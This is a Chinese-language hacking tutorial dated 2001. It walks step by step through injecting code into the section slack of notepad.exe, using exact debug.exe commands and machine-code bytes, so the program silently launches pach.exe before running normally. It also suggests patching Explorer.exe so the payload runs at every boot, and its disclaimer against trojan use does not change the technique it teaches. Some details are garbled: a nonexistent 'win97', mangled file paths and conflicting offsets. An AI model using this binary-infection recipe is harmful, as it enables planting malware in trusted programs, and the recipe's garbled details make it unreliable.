/t --------給PE文件打補丁--------
/t/t ------njhhack
我們都知道在PE文件中有很多空隙,所以我們就有可能給PE文件打補丁.
做法是在空隙中插入我們的補丁代碼.
下面我通過實例來教大家給win97的notepad.exe(記事本)程序來打個補
丁,使得notepad.exe運行時先運行我的pach.exe程序,方法是:
1.在notepad.exe的section間隙中插入
/t ShellExecute(0,'open','pach.exe',0,0,5)這個api函數調用
2.后面加入jmp old_begin來跳回原來的程序啟動點執行原來的代碼
3.修改程序的入口點為新的入口點
經過這三步操作后,你就為notepad.exe程序打上了補丁,以后每次執行notepad.exe
都會先執行pach.exe程序了.
聽起來很簡單,做起來麻煩,我們來看看如何實際操作吧!
首先我們需要有個debug.exe用來修改notepad.exe程序的內容,這是windows
自帶的,你不用費事找的,當然你要分析pe文件的結構和他的反匯編指令的話還要一
個dumppe.exe程序,他是masm32匯編器自帶的一個免費程序,功能強大,我們分析pe
格式和反匯編碼就用他了,如果你沒有這個程序也沒關系,想要的話從這里下載就行
http://njhhack.top263.net/dumppe.zip當然我們還要一個win97的操作系統,因為
我們對他的notepad.exe程序打補丁.
好了,準備好后,我們開始工作了,先把notepad.exe復制到c:.exe,c:
然后我們對n進行手術,首先我們分析n.exe的內部結構,用dumppe -disasm n.exe>n.txt
好了,n.txt中包含了我們要的所有信息,當然我們只對下面的幾個內容感興趣:
------------------------------------------------
Address of Entry Point/t/t 00001000
-------------------------------------------------
01 .text Virtual Address/t 00001000
Virtual Size/t 00003A9B/t
----------------------------------------------------
00402E20 FF1578734000/t call dword ptr [ShellExecuteA]
-----------------------------------------------------------------
上面這三部分信息分別是什么含義呢?
1.其中Address of Entry Point/t/t 00001000
表示程序的入口點為1000,這個很重要,因為我們的程序執行完后要跳回這個入口點,
2.其中 01 .text Virtual Address/t 00001000
/t/t Virtual Size/t 00003A9B
表示代碼段的虛擬地址從1000開始,大小為3a9b,這個也很重要,因為我知道每個
section以200對齊,現在大小為3a9b,比對齊后的3c00要少,所以代碼段有空隙,我們就可
以在此插入自已的代碼了,空隙的大小為3c00-3a9b=165大小,足夠了,
3.其中00402E20 FF1578734000/t call dword ptr [ShellExecuteA]
是一個反匯編代碼,我們了解到ShellExecuteA的調用的機器碼為FF1578734000,
有了上面這三個重要信息后,我們開始最艱難的工作了:
=============================================================================
1.我們修改代碼段的大小,把Virtual Size的值由00003A9B改為00003C00,這樣
我們的代碼才能被裝入內存.因為Virtual Size值存在180的位置,所以我們可以這么做:
debug n ?L
-f280 l2 0,3c
-w
-q
這樣我們就改好了代碼段的大小
2.我們修改程序的入口地址為3a9d+1000=4a9d,方法如下
因為入口地址在a8這個位置,所以這么做
debug n ?L
-f1a8 l2 9d,4a
-w
-q
這樣我們修改好了入口地址
3.最后一步最難了,就是設計匯編代碼了,來吧,精神點!
-------------------------------------------------------
內存地址 機器碼/t/t 匯編指令
-------------------------------------------------------
00404A9D 6A05/t/t push 5
00404A9F 6A00/t/t push 0
00404AA1 6A00/t/t push 0
00404AA3 68E04B4000/t push 404BE0h
00404AA8 68F04B4000/t push 404BF0h
00404AAD 6A00/t/t push 0
00404AAF FF1578734000/t call dword ptr [ShellExecuteA]
00404AB5 E941010000/t jmp loc_00404BFB
00404BE0 6861636B2E657865 db 'pach.exe',0
00404BF0 6F70656E/t db 'open',0
00404BFB E900C4FFFF/t jmp loc_00401000
--------------------------------------------------------------
這就是我們要寫的全部匯編指令,不長,但你要懂他的原理,好吧,我們來分析
其中的
push 5
push 0
push 0
push 404BE0h
push 404BF0h
push 0
是把6個參數壓入堆棧,供ShellExecute函數使用,至于該函數的參數結構,大家看win32.hlp的描述
然后call dword ptr [ShellExecuteA]這是調用這個函數了,其效果等同于下面的C語言格式
ShellExecuteA(0,'open','pach.exe',0,0,5);
也就是說最先壓入堆棧的參數在函數的最右邊,其中'open','pach.exe'分別相當于404BE0h,404BF0h
這兩個內存地址,因為在該函數中,字符串參數的傳遞是傳的字符串地址,因此
00404BE0 6861636B2E657865 db 'pach.exe',0
00404BF0 6F70656E/t db 'open',0
這上面兩行就是在內存中定義了兩個字符串.
00404AB5 E941010000/t jmp loc_00404BFB
上面這行是在call 完函數后跳到00404BFB這個地址.
00404BFB E900C4FFFF/t jmp loc_00401000
這一行是跳回原來的入口地址1000,執行原來的程序.
-----------------------------------------------------------------
好了,原理講完了,我們最后要把這些指令放入代碼段,當然就是把機器碼放進去了,方
法如下:
因為代碼段在400位置,而我們新入口點在3b9d,所以開始放數的地方是100+400+3a9d=3f9d
其中加的100是debug在內存中的基地址,所以做法如下:
debug n ?L
-f3f9d l1d 6a,5,6a,0,6a,0,68,e0,4b,40,0,68,f0,4b,40,0,6a,0,ff,15,78,73,40,0,e9,41,1,0,0
-f40e0 l9 'pach.exe',0
-f40f0 l5 'open',0
-f40fb l5 e9,0,c4,ff,ff
-w
-q
好了,我們終于完成了最艱難的任務,可以頎賞一下成果了,把n.exe用n代換,方法為copy n n.exe打開n.exe
我們發現,在啟動記事本程序的時候,同時打開了pach.exe這個程序,呵呵,我們終于成功了
想看效果,到這里下載njhhack.top263.net/pach.zip這個不是木馬,是演示程序,大家不要害怕
---------------------------------------------------
用同樣的方法,你可以給任何程序打補丁,只要他在程序中調用了ShellExecute,WinExec,CreateProcess,...
這些函數就行,比如我們可以給Explorer.exe打補丁,這樣我們就可以在啟動電腦時,自動運行pach.exe程序了
你還可以給很多這樣的程序打補丁,只要你愿意.
現在大家知道匯編語言有多有用了吧,以后好好學吧,當然還要學pe文件的格式喲,不過本人在此告誡
大家不要用這個補丁技術來啟動你的木馬程序,若不聽勸告,引起的后果與本人無關.
/t/t/t/t ------njhhack
/t/t/t/t 2001.8.25
/t/t/t e-mail:njhhack@21cn.com
/t/t/t oicq:10772919
/t/t/t 主頁:hotsky.363.net
新聞熱點
疑難解答
圖片精選